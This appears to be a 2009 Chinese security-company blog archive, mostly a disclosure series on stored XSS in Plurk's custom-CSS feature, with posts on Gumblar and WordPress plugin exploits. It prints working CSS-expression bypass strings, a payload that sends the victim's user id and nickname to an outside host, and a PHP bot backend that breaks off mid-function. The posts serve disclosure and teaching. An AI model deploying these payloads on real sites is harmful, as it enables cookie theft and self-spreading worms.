B2C 的時代，大家已經把個資瘋狂的送到網路上，個資都已經外洩光了，Web 2.0的時代大家又把私密照片、或是犯罪實錄的影片給 Post 到網路上了。現在呢？噗阿噗！！大家把自己的行蹤、心情、喜怒哀樂、觀點...一大堆潛在人格特質給 Post 到網路上了。原來，在網路上要了解一個人好簡單啊。

微型部落格可能造成：陌生人比你媽還了解你，甚至，陌生人比你還了解你自己；而你卻還不認識隔壁老王。小心有心人的，當遇到難纏的對手，如果還涉及感情，哪可就麻煩了。

社交工程術的發展會將會更加極致，一旦詐騙電話更加了解你，不再是你熟悉的詐騙電話？一旦梁上君子熟知你的行蹤，不用在你的信箱、門牌做記號，上網就知道你在做啥？你該如何全身而退...網路真是讓人又愛又恨！！

作者 Crane 為阿碼科技一員
系列第一篇：誰在看我的噗？第一回：DOM沙盒 vs 跨網站腳本漏洞（XSS）
系列第二篇：誰在看我的噗？第二回：IE執行模式 vs 跨網站腳本漏洞（XSS）
系列第三篇：誰在看我的噗？第三回：弔詭的過濾函式
系列第四篇：（本篇）誰在看我的噗？第四回：我噗誰在看！

誰在看我的噗？第三回：弔詭的過濾函式

2009-07-17T09:01:00.010+08:00

（本文感謝 armorize parser 團隊 Chris, Eric, Steven, Wing 與 ASF 團隊 Kuon 的意見）

泡咖啡或茶的藝術，我稍微接觸過一些，很有意思，每一個部分都很講究，從水、豆子或茶葉、到器具、時間等，每一個環節的掌握，決定了最後享受的品質。

有在品嚐的朋友都知道，其中常被忽略但是卻是關鍵者，就是過濾方式。以茶來說，不好的濾網可以直接喝到金屬的味道，所以有些人會把沖泡器的濾網拆除，寧可茶中有些茶葉。以咖啡來說，紙濾網會有味道，另外吸油能力太強，會讓咖啡少了原本的濃郁。很多人因此喜歡用金（或K金）濾網，雖然貴，但是金穩定，比較不會有異味，泡出來的咖啡跟紙濾網喝起來完全不一樣。可是金濾網除了價格高以外，很多廠商的技術不到位，濾得不乾淨，常讓咖啡渣漏到咖啡中，那就大大破壞興致了。就連自己做豆漿，最難的部分還是過濾機制的設計。要做一個好的過濾器，並不容易。

在Web資安中亦是如此。前面我分享了「誰在看我的噗？第一回」與「誰在看我的噗？第二回」兩篇，裡頭提用了噗浪的一些跨站腳本攻擊(XSS)漏洞來做範例。當初噗浪雖然有過濾CSS中的「expression」，但是改其中一個字的大小寫，例如「eXpression」，就繞過噗浪的過濾機制了。

回報給噗浪後，改好了，我這次，恩，的確改好了，現在不論是「Expression」、「eXpression」或「exPression」，都會被阻擋起來。於是我就試了下面這個字串：


「ex/**/pression」

IE的CSS parser，會將「/*」與「*/」當成是註解，將中間的字串都拿掉，於是「ex/**/pression」還是變成了「expression」，會執行javascript。測試發現噗浪並沒有偵測這種形式（pattern），於是又回報他們。以下是一些可能的變形：


「ex/**/pression」、「ex/**/p/**/ression」、「e/**/x/**/p/**/r/**/e/**/s/**/s/**/i/**/o/**/n/**/」

噗浪改好後，我測試，嗯，真的改好了，以上這些形式都會被阻擋起來，確定改好了。接下來我測試「ex/*armorize*/pression」，發現繞過了噗浪的檢查。原來噗浪沒有注意到，「/*」與「*/」中間可以加任何的字串，於是又回報他們。以下是一些可能的變形：


「ex/*armorize*/pression」、「e/*A*/x/*B*/p/*C*/r/*D*/e/*E*/s/*F*/s/*G*/i/*H*/o/*I*/n」、「e/*/*/*****///"hello"*/*/*/xpression」

噗浪改好後，我測試，嗯，真的改好了，以上這些形式都會被阻擋起來，確定改好了。接下來我想，該不會噗浪的過濾機制，是以「行」為單位的吧？於是我測試：


ex/*
*/pression

中間換行，發現又繞過去了。註解中間雖然有換行，IE還是會執行expression後面帶的javascript，可是噗浪是以「行」為單位進行過濾，所以又被我繞過去了。於是我又回報他們。以下是一些可能的變形：


ex/*
armorize
*/pression

ex/*
XSS**/**/*/pression

噗浪改好後，我測試，嗯，真的改好了，以上這些形式都會被阻擋起來，確定改好了。這是我仔細想，噗浪是如何做過濾機制的呢？最直覺的作法，應該是用正規表示法（regular expression）來過去，並採以下步驟：

1. 以整個CSS為單位，移出「/*」與「*/」以及中間的字串（因為是註解）
2. 偵測「expression」的各種大小寫形式

恩，那麼，如果我用以下的一段CSS呢？


X{"/*"} expression() X{"*/"}

上面這樣的CSS，對於IE來說，由於文法是可以接受的，另外「/*」與「*/」被包在雙引號內，所以IE不會視為是註解。可是對於此時噗浪的過濾機制來說，過濾機制的第一步會將「/*」與「*/」以及中間的字串移出，所以經過第一步後，噗浪看到的是：


X{""}

沒有「expression」的存在，故判定是合法沒有惡意的CSS而接受。實際上測試，正是如此，而我這個新的CSS攻擊，又繞過了噗浪此時的過濾機制。於是趕緊回報噗浪，噗浪改好後，我測試，嗯，真的改好了，這種形式都會被阻擋起來，確定改好了。可是我仔細一想，不對，目前最新的過濾機制應該是這樣，那麼如果我寫這樣，應該又可以繞過，結果果然。於是我回報，不過到這次，已經不是那麼容易可以改了，甚至要考慮一下以正規表示法（regular expression）為基礎的CSS過濾機制，到底有沒有辦法做到安全？過了兩星期問題還是沒修好，我這邊就不探討實際的字串了。

算一算到目前為止，攻擊已經變形了七代了。如同Twitter Mikeyy蠕蟲變形了多代一樣，如果今天同樣有駭客要攻擊噗浪，那麼已經變形七代了，可以做七波的攻擊，每一次攻擊都可以是蠕蟲或是偷受害者的cookie（然後以該身份登入噗浪）。另外很有趣的是，噗浪的第二代過濾機制，其實是可以阻擋第六與第七代的變形攻擊的，因為該機制只是單純地檢查有無「expression」的各種大小寫形式存在。可是之後，噗浪為了要應付第三代攻擊形式（「ex/**/pression」），而導致改進後的過濾機制反而會被第六與第七代攻擊形式繞過（X{"/*"} expression() X{"*/"}）。

從噗浪的一系列攻守中我們可以獲得以下結論：

1. 設計一個正確的過濾機制是不容易的。找到漏洞不表示可以正確修補。
2. 修補的過程中，很有可能導致新的漏洞產生。

在這邊順便問一下，有沒有網友有興趣寫一個CSS的過濾函式？如果願意與我們一起研究，我們可以一起公開一套針對CSS的開放源碼過濾函式。

CSS的過濾函式，真的可以用單純的正規表示法（regular expression）之字串比對機制來完成嗎？

我們先來研究一下，到底IE是如何處理CSS的。第一，「ex/**/pression」==「expression」到底是否合於CSS2的文法（grammar）與語意（sematics）？我們看一下W3C對於CSS2.1的定義中，註解（comments）這段：

Comments begin with the characters "/*" and end with the characters "*/". They may occur anywhere between tokens, and their contents have no influence on the rendering. Comments may not be nested.

「註解以 "/*" 開始，以 "*/" 結束，可以存在於任兩個 token 之間...」既然是任兩個token之間，那麼「ex/**/pression」根本不應該等於「expression」，而要被分成「ex」與「pression」兩個token。實際上W3C對於CSS2.1的文法定義也反映了這點。

如果是單純用標準的lexer與parser來處理CSS的話，ex/**/pression一般來說會被切成兩個token，而要認識「ex/**/pression」為「expression」的話，需要特別花功夫重組token。我認為IE不是這樣做的。我認為IE目前的CSS處理模組，包含了一個或多個的preprocessor，然後才餵給一組lexer與parser。前面的preprocessor可能也是用lexer與parser組成，但更可能只是用正規表示法（regular expression）之字串比對機制來完成。這樣的設計造就了在IE裡，「ex/**/pression」==「expression」的錯誤。

可是說IE錯了，沒有用，因為「ex/**/pression」在IE中就是會執行javascript，攻擊就是會成功。所以我們這篇探討的過濾機制，重點變成了，「如何了解各家瀏覽器對於CSS的處理機制，並實做一個模擬函式，來做資安過濾」。

這個就難了，因為各種歷史因素加上一開始CSS的定義並不明確，各家瀏覽器對於CSS的處理可說各顯神通，怪招一堆。舉個例子，雖然CSS中並無定義，但是以往非IE瀏覽器（FF、Safari、Chrome）對於「//」這個註解掉本行的語法，也是支援的；IE則不支援。可是到了IE8時，突然決定在「IE8標準模式」下時，跟其他非IE瀏覽器一樣，支援「//」。於是以下CSS，用非IE瀏覽器瀏覽，以及用IE8在「IE8標準模式」下瀏覽，背景會是紅色的（支援「//」），但是用IE<8或IE8在「IE7標準模式」瀏覽，背景會是藍色的（不支援「//」）：


body {
  background-color:red; 
  //  background-color:blue;
}

那麼我們在寫過濾器時，到底要不要把「//」當成行註解呢？

又舉一個例子，以下這個CSS，在IE5/MAC，以及在IE8 beta 1上，中間的「@import」會被執行，但是在其他瀏覽器，包含IE8正式版中，則會被當成註解：


/*\*//*/
  @import...
/**/

這主要跟lexer/parser或proprocessor在處理CSS時所採用的優先順序（operator precedence）有關。IE5/MAC與IE8 beta 1 是如此解讀的（資料來源：stopdesign.com）

(1)的「/*」被視為是註解的開始，(2)的「\」將(3)的「*」給escape掉了，所以一直到(4)的「*/」才被視為是註解的結束。(5)的@import在註解外，而(6)的「/*」與「*/」被視為一對註解的開始與結束。

其他的瀏覽器則是如此解讀：

(1)的「/*」被視為是註解的開始，(2)的「\」被視為在註解中所以沒有作用，(3)的「*/」被視為註解的結束，(4)的「/*」被視為第二個註解的開始，(5)的「@import」被視為註解內，而最後(6)的「*/」為結束註解，於是「@import」不會被執行。

反過來看，我們的過濾器如果需要正確識別「ex/**/pression」以及類似變形，就必須正確判斷註解的開始與結束，可是各家瀏覽器在CSS處理機制實做上的不同，增加了我們過濾器的困難度。

事實上，這些各家瀏覽器在CSS實做上的不同，不但大家早就熟悉，還早就被當成「功能」來使用--利用這些不同來有效判斷不同的瀏覽器，讓不同瀏覽器讀取不同的CSS檔。這種技巧叫做「CSS Hack」或「CSS Filter」，大家可以參考 Wikipedia 中的定義，這邊就不多著墨。

但是由於這些差異被當成「功能」來使用，讓錯的一方也不能修正，因為如果修正了，反而很多網站的顯示就要變得不正確了。於是目前瀏覽器廠商只能推出新一代瀏覽器（IE5 -> IE6 -> IE7）時，才對這些bug進行修正。

為何瀏覽器的lexer/parser或preprocessor這麼糟糕？事實上，很久以前大家不就發現，資料庫的SQL處理器也是一樣糟嗎？「se/**/lect」這種SQL注入（SQL injection）手法大家應該都很常用。事實上，MS SQL伺服器的T-SQL處理器以及MySQL的SQL處理器，在這方面也都是有名的...說複雜好了。

雖然攻擊手法並不新，但是從噗浪的七代實驗可以知道，老人雖然很熟，新人還是會不斷地重複採地雷，正確地過濾惡意字串，並非易事。

瀏覽器/資料庫的lexer/parser/proprocessor處理器的複雜與不穩定，不但增加了資安的過濾函式的難度，也同時增加了WAF（Web應用程式防火牆、web application firewall）在實做與設定上的難度。

這些也就是為何，在情況允許之下，程式中應盡量避免過濾機制，而採用參數化機制。你的過濾機制，真的安全嗎？

作者Wayne為阿碼科技一員
系列第一篇：誰在看我的噗？第一回：DOM沙盒 vs 跨網站腳本漏洞（XSS）
系列第二篇：誰在看我的噗？第二回：IE執行模式 vs 跨網站腳本漏洞（XSS）
系列第三篇：（本篇）誰在看我的噗？第三回：弔詭的過濾函式
系列第四篇：誰在看我的噗？第四回：我噗誰在看！

談談 PHP, WordPress 與掛馬

2009-07-07T08:56:00.008+08:00

惡意的PDF檔案一點都不是新聞，過去 doc、flash 以及圖片等都已經被大量利用在 PC 的感染中，但前一陣子在日本以及各地頻傳的事件 (1,2) 顯示，才發現一種綜合型的攻擊組合已經出現，也引起我對於了解後面原因的興趣。

我從 client, server 兩個方面來說明:

1. client

這次利用的攻擊瀏覽器方式稱為 JSRedir-R，它其實是一種攻擊方式的通稱，在友廠的分類說明中可以見到它是利用 PDF, Flash/SWF 的漏洞來讓瀏覽器, PDF reader 或 flash player 直接做為下載器 (downloader), 將後續的其他 binary 安裝到執行這個 JSRedir-R 的電腦上，隨後就開始進行自動側錄，這次側錄的通訊協定鎖定 Web hosting 使用者常用的 ftp，為何這麼做呢? 1. 明碼 2. 登入帳號密碼經常1~2個封包就可錄到。

網路上這篇討論描述了這個狀況，節錄如下:

"One of our clients computers was infected with the client-side portion of the virus. It’s a trojan that monitors all FTP traffic, sending the auth details back to the payload server (gumblar.cn).."

2. server: 這次駭客在想甚麼?

約3個月前，就開始有人在WordPress (咱們就簡稱為WP) 論壇上面歇斯底里的求救， "Seriously, I need your help! " ，很明顯的，他遇到了無論登入 wp-admin 後改密碼或是檔案移除，那一段攻擊程式碼都還是會再被自動加回去所有的 index-files，想必夜不成眠吧。

去年，我們監控到 Mass SQL Injection 的大範圍 SQL 注入，分析了原因是攻擊方利用 Google 的強大搜尋找攻擊對象，但這次不一樣，不需要這麼麻煩，這次駭客不辛苦的打 Mass SQL Injection 了，直接從 web 管理員的電腦直接掛馬側錄、傳回 Bot 監控主機、連到目標 ftp server, 接著自動竄改每一個 PHP 網頁，都可以自動化/半自動了, 然後去逛這些 WP, Drupal 網頁的人，都執行了 pdf 與 swf，若沒做自我保護，會繼續受到 JSRedir-R 的感染，然後被側錄，.. 就這樣一直循環下去， oh my goodness!!

慶幸的是，到目前為止，這並還未演變成 server 對 server 的病毒感染事件，否則可以想像機房內的網路、Web主機眾多的virtual host sites 會變成甚麼狀況，不過這跟 Web Hosting 的架構設計有關，這邊就有另外一種狀況。

既然被補上去 WP 與 Drupal 的源碼是 PHP，我開始將注意力轉向 WordPress 的源碼去，開放源碼的壞處就是容易成為下一個目標，事實上我的同事 Wisely 在兩年前就已經用我們內部的工具檢測過 WP 的兩個主要版本了，兩年多下來，我印象中看到針對 WP 本身新弱點的次數並不多，但 WP 畢竟做為全球著名的部落格發行軟體，為了服務廣大的使用者採用了開放式的架構，並有許多對應的外掛被開發出來，然而這些眾多的外掛卻成了另一大隱憂的來源，光在 milw0rm.com 上就至少有數十個 exploit 被公布，我從中取了一個做驗證，ID為 9048 的這個攻擊是利用 DM-albums 這個外掛:

這個弱點是 Remote File Dislosure Vulnerability，在 OWASP 的定義為 Resource Injection ，我們立即將 config.php 原始擋下載回來:

用 IDE 開來看，wow, 真的是 config.php，可以拿來分析設定與系統架構:

接著我用 CodeSecure 掃了兩次，分別是將 register_global 這個設定關閉:

以及開啟:

都找到跟 dm-albums.php 這個進入點有關的 Resource Injection，其中一條弱點問題追蹤列出如下，很明顯的，至少就有 currdir 這個變數沒有被處理好:

看到弱點這樣多，我真的開始覺得任意瀏覽網站的風險太高了。

以前打 client 端是拿個資、打 server 端是拿主機與 DB，做完就各自結束，但從 5月份的 Gumblar 開始，透過在 WP, Drupal 等 Blog 平台插入 PHP 程式碼的新掛馬手法讓感染來源成指數成長，如果你發現你的部落格的程式碼內出現奇怪的新程式碼，建議趕快用一台乾淨的機器上網改掉密碼並回復所有的 PHP 網頁，然後將受感染的電腦做進一步檢查，詳細做法可參考這篇，若剛好你的部落格也用了不少外掛，建議先搜尋一下有沒有已經被公布的弱點 (關鍵字: "exploit" "vulnerability)，然後儘早因應，至少被公開的弱點一定得想辦法剔除。

作者: Walter Tsai 為阿碼科技CTO

阿碼科技正名運動

2009-07-07T04:12:00.005+08:00

昨天看到Yahoo!新聞對我們的報導，心裡高興，謝謝您！可是真的是報導我們嗎？大人啊，我們叫做阿「碼」，源碼檢測的「碼」，幫客戶檢查程式碼漏洞的公司，不是皇阿瑪的「瑪」。

阿碼成立初，差點被強迫改名，Google查「阿碼科技」會問你說你是不是要查「阿瑪科技」，這也就算了，連身邊的朋友都要我們改名。公司旁邊的鄰居，每天看到扛棒總不會錯吧？結果還是「阿瑪」...

我們的裝潢是matt高中同學孫兄開的八寬設計做的，結果得了獎，變成八寬得意作品。大家都這麼熟，扛棒也是你們幫忙做的，總不會錯吧？恩，還是「阿瑪」...

阿碼成立到現在快四年了，Google卻還是不放過強迫改名的意圖：

在這邊阿碼要推行正名運動！我們是源碼檢測公司，叫做阿碼，謝謝大家！ :-)

作者Wayne為阿碼科技一員

3b3.org 在 0 Day 的大復活日記

2009-07-06T10:37:00.011+08:00

3b3.org 是啥！可以問問 google 大神，這是今年初惡意網頁掛碼所使用的惡意網域，最近復活了。透過 DirectShow MPEG2TuneRequest Stack Overflow 的 0 Day 大復活了...

一般惡意網域在惡意利用後，大多會丟棄不用，會再利用新的惡意網域，但 3b3.org 並沒有，在沉潛一段時日之後復活了。很重要的原因是：有太多網站被植入此惡意連結後，一直沒有移除。換句話說，很多網頁還留有舊的攻擊連結。

先前兩篇文章，你看了嗎？
網站多久沒健檢，是不是該關心一下了
深思網站淪陷背後的意義

先看看 3b3.org/c.js 在做啥...

再看看 HackAlert 發現的一個掛馬網址：

詳細追下去：

是不是發現都是一樣的攻擊碼了。這是 Microsoft DirectShow MPEG2TuneRequest Stack Overflow Exploit，這可是 0 day 的漏洞，可以參考鬼仔's Blog：
Microsoft DirectShow MPEG2TuneRequest Stack Overflow Exploit
DirectShow 0DAY第二波警告

誰在看我的噗？第二回：IE執行模式 vs 跨網站腳本漏洞（XSS）

2009-06-29T01:44:00.017+08:00

Web、HTML、CSS、各家瀏覽器，都在持續演進著，以資安的觀點來看，演進的過程中包含了許多為了修補當初不安全設計而做得努力。IE，現在已經到IE 8了。

本文續「誰在看我的噗？第一回：DOM沙盒 vs 跨網站腳本漏洞（XSS）」。

許多朋友透過email/msn/plurk問我，這個攻擊為何說IE<=7才能觸發？其實這個問題不是三言兩語解釋得清楚，所以我只在文中寫IE<=7，不想讓已經很長的一篇變得更長，但沒想到大家都很厲害，這個問題大家都還是問了。那我們就來談談，為何此攻擊IE<=7才能work吧！

其實我只確定IE 7可以work，IE 8不行，IE 1-6，我沒裝，沒測過。可是為何我沒說IE 8可以，而又為何有朋友認為應該可以？認為可以的朋友們最大的「證據」之一，就是Plurk個人首頁的HTML中有一行：


<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

由於CSS、HTML的規格不斷演進，各家瀏覽器也一直在變，一個網頁如何被解譯，跟瀏覽器決定用何種模式來解譯有很大的關係。HTML 5規格中即定義了三個模式：no quirks mode（標準模式，standard mode）、quirks mode（相容模式）、以及limited quirks mode（限制相容模式 / 近標準模式，almost standards mode）。不同模式影響了瀏覽器如何解析（parse）以及展現一份HTML文件；就資安的角度而言，不同模式的影響甚大，例如文件中對於script的處理，就會因不同模式而有差異。

就瀏覽器來說，不同模式間行為差距最大的，應該算是IE，又以IE 7到IE 8為明顯。IE 8一共支援了四種模式：IE 8 standard（標準）模式、IE 8 almost standards（近標準）模式、IE 7 standard（標準）模式、IE 5.5 quirks（相容）模式。「誰在看我的噗？」中所用的攻擊點：


body {background-image: expression(alert("XSS"));}

即是自從IE 8 beta 2之後，已經自IE 8標準模式中移除了；意思就是，如果是在IE 8標準模式下，此攻擊點無效，expression並不會被執行。那麼IE 8如何決定何時用哪種模式來執行呢？答案是根據許多條件，其中包含了HTTP檔頭、doctype、meta X-UA-Compatible、微軟的網站黑名單、以即使用者的設定等。那滲透測試的過程中，如何得知IE選擇哪種模式來處理一個網頁呢？最簡單的方式，是安裝IE Developer Toolbar。這個跟firebug互別苗頭的工具，一直是滲透測試時的好幫手。IE Developer Toolbar可以顯示出IE使用哪種模式來解譯目前的網頁。以Plurk為例，我的Toolbar顯示如下：

為何Plurk是在IE 8標準模式執行呢？我們看一下程式碼：


Server: nginx/0.6.32
Date: Sun, 28 Jun 2009 18:49:38 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Expires: Sun, 28 Jun 2009 18:49:37 GMT
Cache-Control: no-cache
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 36704

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<script type="text/javascript">
if(window != top && window.location.toString().indexOf("/_comet/") == -1) {
    //Inside an iframe
    top.location.href = location.href;
}
</script>

<title>
armorize_wayne
</title>
<meta http-equiv="Content-Type" content="application/xhtml+xml; charset=UTF-8" />
<meta name="verify-v1" content="iBRwaQ/3d4NoF1uaa2SAfCJ962ORry1TE8/4XxtIbHk=" />
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

恩，既然有定義doctype，也有用meta定義了X-UA-Compatible為「IE=EmulateIE7」，那應該要迫使IE 8在「IE 7標準模式」下解譯Plurk，為何toolbar還是顯示「IE 8標準模式」，而且攻擊也確實無法執行？始作俑者就是meta前面的javascript。如果沒有這段javascript的話，那IE 8就會轉換至「IE 7標準模式」下執行，而上述攻擊就仍然有效。當場try看看好了。利用fiddler，然後用IE 8開plurk，用羔羊帳號（goat_victim）登入，然後瀏覽我的Plurk頁面，可以看出瀏覽器發出以下的http request，其中並沒有對553lab.org發出request，表示攻擊並未成功：

這時我們利用「bpu http://www.plurk.com/armorize_wayne」設好中斷點（breakpoint，見上圖底黑底緑字處），然後IE 8按F5重新載入，中斷點停下來後，選擇「Break on Response」，然後等到獲得plurk伺服器回應的http response時，中斷點又再度停下來，這時我們手動改此HTML，將javascript移到「X-UA-Compatible」這行之後，並選擇「Run to Completion」：

下圖為執行後的畫面，我們看到IE 8發了一個request給http://553lab.org，表示我們的XSS（跨網站腳本漏洞）成功了，javascript被執行了：

回到IE 8，可以看到我的Plurk頁面上，機器人已經自動對來訪者（goat_victim）打招呼了：

那麼IE 8決定解譯模式的流程為何？以下流程圖來自：http://hsivonen.iki.fi/doctype/ie8-mode.png

圖中紅色部分為這次我的IE 8決定採用「IE 8標準模式」的流程圖。IE 8的決定，除了噗浪網站的HTTP檔頭與HTML內容外，我本身的IE 8 相容性設定也有影響。我的相容性設定為預設值（Tools->Compatibility View Settings）：

其中的決定包含：
1. 是否有X-UA-Compatible meta標籤：事實：有，但是前面已經先有javascript。
2. HTTP檔頭中是否有設X-UA-Compatible？事實：沒有
3. 我的IE 8相容性設定是否有勾選「display all websites」？事實：沒有
4. ...

有可能這是Plurk刻意的設計，讓IE 8在「IE 8標準模式」中執行，但也有可能是Plurk本意是要藉由設定X-UA-Compatible來讓IE 8切換至「IE 7標準模式」，可是後來在前面加了一段javascript，誤讓模式跳回了「IE 8標準模式」，也同時讓我們的攻擊失效了。

無論如何，Plurk讓IE 8在「IE 8標準模式」中執行，導致我們前一篇中所提之攻擊點失效，也是為何前一篇中，我沒有說攻擊能在IE 8上執行之原因。至於有朋友問，明明CSS中的expression，有用IE 8測過，確定可以work，為何說不行？答案是這要看你的頁面讓你的IE 8呈現何種模式？如果在HTML內或HTTP檔頭中都沒有設定X-UA-Compatible，也沒有特別設定doctype的話，那就很有可能跑到相容模式去，而導致CSS expression攻擊成功了。

瀏覽器的解譯模式會直接影響javascript執行方式，進而影響資安結構；不但doctype、meta tag以及HTTP檔頭，甚至連javascript擺的位子之些微差距，都有可能影響一個網頁之安全性。您清楚您網站於IE各版本上的解譯模式嗎？

作者Wayne為阿碼科技一員
p.s.順便簡短一併回一些問題：
Q：這個漏洞可以用來寫蠕蟲嗎？答：可以
Q：噗浪修補好了嗎？答：「這個漏洞」修補好了，但是即使同一個手法，也可以有很多種變形，是否都阻擋了？我沒測
Q：之前提的csrf蠕蟲能公開嗎？答：噗浪還沒修好，所以還不能公開

系列第一篇：誰在看我的噗？第一回：DOM沙盒 vs 跨網站腳本漏洞（XSS）
系列第二篇：（本篇）誰在看我的噗？第二回：IE執行模式 vs 跨網站腳本漏洞（XSS）
系列第三篇：誰在看我的噗？第三回：弔詭的過濾函式
系列第四篇：誰在看我的噗？第四回：我噗誰在看！

誰在看我的噗？第一回：DOM沙盒 vs 跨網站腳本漏洞（XSS）

2009-06-27T15:05:00.018+08:00

上星期天下午，下大雨，沒法出去，隨手開了Plurk，想到了Plurk之前公開的「XSS挑戰」，只要找到漏洞，證明並回報的噗友，就有Plurk hacker勳章可以拿，之前我也很快地寫了一隻蠕蟲demo並回報。（不用懷疑，當然沒有真的拿來使用）

開了瀏覽器，沒有用什麼工具，就徒手在瀏覽器上玩來玩去，結果一下子，找到一個預存式XSS（stored cross-site scripting，因先儲存至預存式的資源譬如資料庫後再於取出時造成攻擊，又稱預存式XSS），寫了一小段poc程式，確定可以偷cookie，然後又寫了一個蠕蟲的 poc 程式。原本想立刻把poc程式寄給Plurk回報，但又覺得這些東西沒什麼新意，這樣回報很無聊。可是那寫什麼demo來回報呢？

這時突然想到以前的irc機器人，好吧，那就寫一個跟irc一樣的自動打招呼機器人好了，順便回味一下irc的年代。直接在瀏覽器上寫完，還真的可以用，只要在有登入噗浪的狀態下，用IE(<=7)來訪問我的Plurk頁面，機器人都會自動跟您打個招呼（不會偷cookie）。寫完把範例程式寄給Plurk，真快，不到一小時就收到回信，不到一天就改好了，這種速度比起其他網站，真是夠快了。問了他們可否寫篇blog，Plurk說沒問題，反正都修好了，嗯，謝謝，真是很nice！

整個測試的過程中，我一直想到「以 DOM 為基礎之沙盒（DOM-based sandboxing）」之概念。XSS（cross-site scripting，跨網站腳本漏洞）根本不應該這麼難預防的；問題主要出在當初W3C與瀏覽器團隊在定義各種規格時，真的太少考慮到資安的需求了。也或許是這樣，才造就了Web與Web 2.0這麼快速的成長吧（限制很少，很好學，很好寫）！以這次回報的XSS來說，DOM-based sandboxing（DBS）是最直覺的解決方式；我們先看看這個漏洞。

[XSS弱點範例]

噗浪很令人喜愛的功能之一，是可以自己寫（或上傳）CSS，讓每一個人可以有自己的噗浪頁面。在「Profile」旁邊有一個「edit」，按下去並選擇「Customize profile」，就可以自己填入CSS。上次我回報蠕蟲漏洞，主要是那時幫朋友改code，接觸到Plurk API，而注意到漏洞。當時並沒有仔細玩噗浪的介面。這時一玩，wow，可以自己寫CSS，那麼這個功能很有可能出現漏洞。CSS 裡頭的XSS攻擊點，可以參考RSnake的XSS Cheat Sheet；以IE(<=7)為例，主要可說有兩種：

1. CSS 內可造成 javascript 執行，範例如：


body {background-image: url("javascript:alert('XSS')");}

2. CSS 內利用expression 造成 javascript 執行，範例如


body {background-image: expression(alert("XSS"));}

（範例一）

我們來分析一下要如何做攻擊測試。Html中有很多方式可以設定 css；可以是後端程式產生，寫死在 HTML 裡，可以是前端 javascript 以document.write()方式動態產生，也可以是前端javascript以動態建構出新的 DOM 元素（element）來產生。看一下Plurk的源碼，可以發現產生方式如下：


B = document.createElement("link"); 
B.setAttribute("rel", "stylesheet"); 
B.setAttribute("type", "text/css"); 
document.getElementsByTagName("head")[0].appendChild(B);

（程式一）

根據RSnake的XSS Cheat Sheet，（範例一）中的攻擊點(1)，只對IE6有效，那我們先選攻擊點(2)「expression」來試看看好了，在介面中填入：


body {background-image: expression(alert("XSS"));}

（程式二）

（暗：(1)真的只對IE6有效嗎？ ;) ）

按下「Save and update」，果然有過濾，CSS中不能有「expression」，也不能有「javascript」或「@import」等關鍵字。

嗯嗯，大概是用正規表示式過濾的吧！那把「expression」改成「Expression」呢？Umm...結果就通過了...原來過濾時沒有考慮到大小寫問題；這麼簡單一點小疏失，就會造成了一個預存式XSS，不但可以偷餅乾，更適合寫蠕蟲；事實上，三年前的MySpace(Samy)蠕蟲與不久前的Twitter(Mikeyy)蠕蟲（這裡、這裡、這裡），都是利用了使用者profile中的預存式XSS，只要訪問了受感染使用者的頁面，就會被感染。以MySpace為例，當時以上(1)與(2)兩個攻擊點都存在，而Samy蠕蟲也同時運用了這兩個攻擊點。

接下來就用css的Expression寫一下XSS的程式吧：


body {background-color: Expression( if ( (typeof doneonce == 'undefined') ) { void( doneonce = {testit: function () {dddd = new Image(16,16);dddd.src = "http://553lab.org/plurk/hello.php?x=[" + GLOBAL.session_user.uid + "][" + GLOBAL.session_user.nick_name+"]";}} ) + doneonce.testit() } );}

（程式三）

上面這個程式中，我們用夾帶在body中的Expression寫javascript，動態產生一個image，其url為：http://553lab.org/plurk/hello.php?x=[user_id][nick_name]。程式會使IE發一個GET到我們的hello bot（hello.php），並夾帶兩個參數，分別取自Plurk的javascript程式中的變數：GLOBAL.session_user.uid為目前使用者的id，而GLOBAL.session_user.nick_name為目前使用者的nick。為何不用hello.php?x=user_id&y=nick這樣的格式？因為Plurk會將「&」htmlencode成&，所以乾脆改成只用一個參數「x」，資料則用[]來隔開。

後端hello.php程式如下：


<html><head><title>Plurk XSS demo by Armorize</title></head>
<body><b>XSS hello bot by wayne[_at_]armorize.com<br>Only works in IE<br></b>
<?
// Uses RLPlurkAPI by Ryan Lim <plurk-api@ryanlim.com>
require 'RLPlurkAPI.php';

//ini_set('display_errors','1');
//error_reporting (E_ALL);

$dovalidation_1 = true;  $dovalidation_2 = true;
$publicplurk = true; // plurk disallows private plurks to none-friends

$cip = $_SERVER['REMOTE_ADDR'];

preg_match_all("/\\[([^\\]]*)\\]/", $_GET["x"], $results);

$g_id = $results[1][0];  $g_nick = $results[1][1];

$nick_name = $results[1][2];

if ($nick_name=="") $nick_name = "armorize_wayne";
 
$logf1 = "log/visited.txt"; $logf2 = "log2/visited.txt";

if ($dovalidation_1) if (!ereg("^[a-zA-Z0-9_]*$", $g_nick) || !is_numeric($g_id) || ((int)$g_id)<0 || !preg_match("/^http[s]*:\/\/www.plurk.com\//", $HTTP_REFERER)) $errorlog= "bad format or referer";

if (!$errorlog && $dovalidation_2) validate_user_then_log($g_id, $g_nick, $cip, $errorlog, $logf1, $logf2, $nick_name);

if (!$errorlog && get_my_password($nick_name, $password)) {
  $plurk = new RLPlurkAPI();
  $plurk->login($nick_name, $password);
  $rand_msg = array("welcome, ", "greetings, ", "hello, ", "hi, ", "how's it going, ", "thanks for coming, ", "good day, ", "have fun, ", "enjoy, ", "have a nice day, ", "g'day, ", "thanks for stopping by, ", "have a good time, ");
  $rand_num = rand(0, count($rand_msg)-1);

  $msg = $rand_msg[$rand_num]."@".$g_nick."!";
  if ($publicplurk)
    $plurk->addPlurk('en', 'says', $msg);
  else
    $plurk->addPlurk('en', 'says', $msg, true, array($g_id));
  echo "msg: ".$msg."<br>";
}

function validate_user_then_log($id, $nick, $ip, &$errorlog, $filename, $filename2, $visitedwho) {
  $visitors = array();
  $visitors = read_file($filename, 50000);
  $visitors_set = array();
  $ip_set = array();
  foreach ($visitors as $value) {
    preg_match_all("/\\[([^\\]]*)\\]/", $value, $results);
    if (!array_key_exists($results[1][3], $visitors_set)) $visitors_set[$results[1][3]] = $results[1][4];
